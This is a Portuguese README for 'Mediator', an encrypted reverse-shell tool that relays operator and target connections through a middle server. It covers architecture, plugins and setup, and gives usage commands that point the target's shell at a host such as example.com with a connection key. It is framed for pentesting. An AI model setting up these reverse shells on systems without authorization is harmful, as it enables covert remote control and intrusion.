
Um shell reverso extensível, criptografado de ponta a ponta, que funciona entre redes sem redirecionamento de portas.
O Mediator é um shell reverso criptografado de ponta a ponta no qual o operador e o shell se conectam a um servidor "mediador" que faz a ponte entre as conexões. Isso elimina a necessidade de o operador/manipulador configurar o encaminhamento de portas para ouvir a conexão. O Mediator também permite criar plugins para expandir a funcionalidade do shell reverso.
Você pode executar os scripts do Mediator como executáveis independentes ou importá-los para integração com outras ferramentas de pentest e resposta a incidentes.
Inspirado por aplicativos de chat criptografados de ponta a ponta, o Mediator adota uma abordagem única para o modelo cliente/servidor de um shell reverso. O Mediator usa:
Os shells reversos e manipuladores conectam-se ao servidor Mediator com uma chave de conexão. O servidor escuta na porta 80 para conexões do manipulador e na porta 443 para conexões do shell reverso. Quando os clientes se conectam ao mediador, o servidor os enfileira de acordo com seu respectivo tipo e chave de conexão. Quando tanto um shell reverso quanto um operador se conectam ao servidor com a mesma chave, o servidor faz a ponte entre as duas conexões. A partir daí, é feita uma troca de chaves entre os dois clientes, e toda comunicação entre o shell reverso e o operador é criptografada de ponta a ponta. Isso garante que o servidor não possa espionar os fluxos que está retransmitindo.
Os plugins permitem adicionar comandos extras que podem executar código no host do operador, no host alvo, ou em ambos! Consulte o README no diretório de plugins para mais informações sobre plugins.
Os scripts do cliente podem ser executados no Windows ou Linux, mas você precisará levantar o servidor (mediator.py) em um host Linux. O servidor é Python puro, portanto não há necessidade de instalar dependências. Você pode executar o script do servidor com
$ python3 mediator.py
ou você pode construir uma imagem Docker com o Dockerfile fornecido e executá-la em um contêiner (certifique-se de publicar as portas 80 e 443).
Você precisará instalar as dependências encontradas em requirements.txt) para que os clientes funcionem. Você pode fazer isso com o seguinte comando:
$ pip3 install -r requirements.txt
Consulte Dicas e Lembretes no final para obter ajuda sobre como distribuir os clientes sem se preocupar com dependências.
O manipulador e o shell reverso podem ser usados em outros scripts Python ou diretamente via linha de comando. Em ambos os casos, os clientes podem aceitar argumentos para o endereço do servidor e a chave de conexão. O uso desses argumentos é descrito abaixo.
Endereço do servidor Mediator
Para uso em script Python, o endereço do host mediador é necessário na instanciação:
Handler class
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()
WindowsRShell class
from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()
Se estiver executando um script de cliente diretamente de um shell, você pode codificar o endereço na parte inferior do script, ou o endereço do servidor pode ser especificado como um argumento com a flag -s ou --server:
handler.py
$ python3 handler.py -s example.com
windowsTarget.py
> python windowsTarget.py -s example.com
Chave de conexão
Quando dois manipuladores ou dois shells reversos se conectam ao servidor mediador com a mesma chave de conexão, apenas a primeira conexão é enfileirada aguardando sua correspondência. Até que a conexão enfileirada expire (30 segundos) ou corresponda a uma conexão contraparte, todos os outros clientes do mesmo tipo tentando se conectar com a mesma chave de conexão serão descartados.
É importante garantir que cada manipulador esteja usando uma chave de conexão única para evitar uma condição de corrida que resulte na entrega do shell errado a um operador.
Apenas chaves com o prefixo "#!ConnectionKey_" serão aceitas pelo servidor. A chave de conexão padrão é "#!ConnectionKey_CHANGE_ME!!!".
Para alterar a chave de conexão para uso em script Python, a chave de conexão pode ser fornecida opcionalmente na instanciação:
Handler class
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()
LinuxRShell class
from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()
Se estiver executando um script de cliente diretamente de um shell, você pode codificar a chave de conexão na parte inferior do script, ou a chave de conexão pode ser especificada como um argumento com a flag -c ou --connection-key:
handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'
windowsTarget.py
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
--onefile